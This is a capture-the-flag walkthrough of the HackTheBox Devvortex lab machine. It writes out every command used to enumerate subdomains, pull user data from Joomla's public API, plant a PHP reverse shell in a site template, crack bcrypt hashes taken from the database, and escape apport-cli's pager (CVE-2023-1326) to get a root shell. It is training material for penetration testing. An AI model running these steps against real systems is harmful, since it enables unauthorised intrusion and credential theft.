DEVVORTEX

HackTheBox: Devvortex — Machine Write-Up

A comprehensive technical walkthrough detailing the compromise of the Devvortex machine on HackTheBox. This path demonstrates Subdomain Fuzzing, Joomla API Enumeration, Template Modification for initial access, Database Hash Extraction & Cracking for lateral movement, and exploitation of Apport-CLI (CVE-2023-1326) for privilege escalation to root.

Executive Summary

• Target OS: Linux
• Difficulty: Easy
• Domain: devvortex.htb
• Subdomain: dev.devvortex.htb
• Key Concepts: Subdomain Enumeration, Joomla CMS Exploitation, Information Disclosure, Bcrypt Hash Cracking, Sudo Abuse (apport-cli).

1. Reconnaissance & Enumeration

Port Scanning (Nmap)

An initial fast TCP port discovery was performed across all ports:

nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>

A subsequent service and version detection scan was executed against the identified open ports:

Bash

nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>

Hostfile Configuration

Add the base target domain to your local hostname resolution table:

Bash

sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb

Subdomain Discovery (FFUF)

Fuzzing virtual hosts to identify additional web assets:

Bash

ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ

Result: Discovered dev.devvortex.htb. Added dev.devvortex.htb to /etc/hosts.

Directory Fuzzing

Enumerating routes on the newly discovered virtual host:

Bash

ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ

Result: Discovered the /administrator endpoint, exposing a Joomla admin authentication portal.

2. Initial Access (Foothold)

Information Leakage via Joomla API

Probing public endpoints exposed by Joomla's REST API to gather sensitive application metrics and users:

Bash

curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)

Web Shell Injection via Site Templates

Using credentials uncovered during enumeration, log into the Joomla /administrator portal:

1. Navigate to System > Site Templates.

2. Select the active template and open error.php.

3. Replace the contents of error.php with a standard PHP reverse shell payload.

Initialize a local netcat listener:

Bash

nc -lvnp 4444

Trigger the execution of error.php by requesting a non-existent page or hitting the file directly.

TTY Shell Stabilization

Once the shell connects as www-data, spawn an interactive PTY session:

Bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

3. Lateral Movement (Logan)

Database Enumeration

Access the local MySQL database using credentials retrieved from the web configuration files:

Bash

mysql -u lewis -p

Query the user table to locate stored credential hashes:

SQL

SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;

Offline Password Cracking

Extract the bcrypt password hash for the user logan into a local file:

Bash

nano hash.txt

Crack the hash using John the Ripper alongside rockyou.txt:

Bash

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Authenticating via SSH

Establish a persistent SSH session as user logan with the cracked credentials:

Bash

ssh [email protected]

User Flag

Bash

cat user.txt

4. Privilege Escalation

Sudo Privileges Audit

Inspect permitted binaries for the logan user:

Bash

sudo -l

Output: User may run /usr/bin/apport-cli as root.

Apport-CLI Exploitation (CVE-2023-1326)

Check the installed version of apport-cli:

Bash

apport-cli --version

Inspect /var/crash for existing report files. If empty, manually craft a crash file:

Bash

echo "ProblemType: Crash" > /var/crash/.crash

Launch apport-cli against the crafted crash file using sudo:

Bash

sudo /usr/bin/apport-cli -c /var/crash/.crash

1. Press v to View report.

2. When the paginator (less) loads the content, escape to a system shell by entering:

Plaintext

!/bin/bash

5. System Consolidation

Verify root elevation:

Bash

whoami
# Output: root

Root Flag

Bash

cat /root/root.txt